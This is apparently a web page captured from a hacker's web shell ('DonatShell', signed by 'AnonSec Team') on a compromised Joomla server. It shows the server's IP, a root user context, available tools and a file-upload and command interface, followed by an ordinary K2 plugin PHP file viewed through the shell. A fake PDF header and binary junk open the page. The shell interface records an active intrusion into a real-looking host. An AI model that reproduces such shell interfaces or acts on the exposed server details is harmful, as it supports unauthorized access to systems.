%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.149
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/11584/root/var/www/html/old/administrator/components/com_k2/lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/11584/root/var/www/html/old/administrator/components/com_k2/lib/k2plugin.php
<?php
/**
 * @version     2.6.x
 * @package     K2
 * @author      JoomlaWorks http://www.joomlaworks.net
 * @copyright   Copyright (c) 2006 - 2014 JoomlaWorks Ltd. All rights reserved.
 * @license     GNU/GPL license: http://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die ;

jimport('joomla.plugin.plugin');

JLoader::register('K2Parameter', JPATH_ADMINISTRATOR.DS.'components'.DS.'com_k2'.DS.'lib'.DS.'k2parameter.php');

class K2Plugin extends JPlugin
{

	/**
	 * Below we list all available BACKEND events, to trigger K2 plugins and generate additional fields in the item, category and user forms.
	 */

	/* ------------ Functions to render plugin parameters in the backend - no need to change anything ------------ */
	function onRenderAdminForm(&$item, $type, $tab = '')
	{

		$mainframe = JFactory::getApplication();
		$manifest = (K2_JVERSION == '15') ? JPATH_SITE.DS.'plugins'.DS.'k2'.DS.$this->pluginName.'.xml' : JPATH_SITE.DS.'plugins'.DS.'k2'.DS.$this->pluginName.DS.$this->pluginName.'.xml';
		if (!empty($tab))
		{
			$path = $type.'-'.$tab;
		}
		else
		{
			$path = $type;
		}
		if (!isset($item->plugins))
		{
			$item->plugins = NULL;
		}

		if (K2_JVERSION == '15')
		{

			$form = new K2Parameter($item->plugins, $manifest, $this->pluginName);
			$fields = $form->render('plugins', $path);
		}
		else
		{
			jimport('joomla.form.form');
			$form = JForm::getInstance('plg_k2_'.$this->pluginName.'_'.$path, $manifest, array(), true, 'fields[@group="'.$path.'"]');
			$values = array();
			if ($item->plugins)
			{
				foreach (json_decode($item->plugins) as $name => $value)
				{
					$count = 1;
					$values[str_replace($this->pluginName, '', $name, $count)] = $value;
				}
				$form->bind($values);
			}
			$fields = '';
			foreach ($form->getFieldset() as $field)
			{
				$search = 'name="'.$field->name.'"';
				$replace = 'name="plugins['.$this->pluginName.$field->name.']"';
				$input = JString::str_ireplace($search, $replace, $field->__get('input'));
				$fields .= $field->__get('label').' '.$input;
			}

			// Legacy code to maintain compatibillity with existing plugins that use params instead of JForm
			if (empty($fields) && K2_JVERSION == '25')
			{
				$form = new K2Parameter($item->plugins, $manifest, $this->pluginName);
				$fields = $form->render('plugins', $path);
			}

		}
		if ($fields)
		{
			$plugin = new stdClass;
			$plugin->name = $this->pluginNameHumanReadable;
			$plugin->fields = $fields;
			return $plugin;
		}
	}

}

Anon7 - 2022
AnonSec Team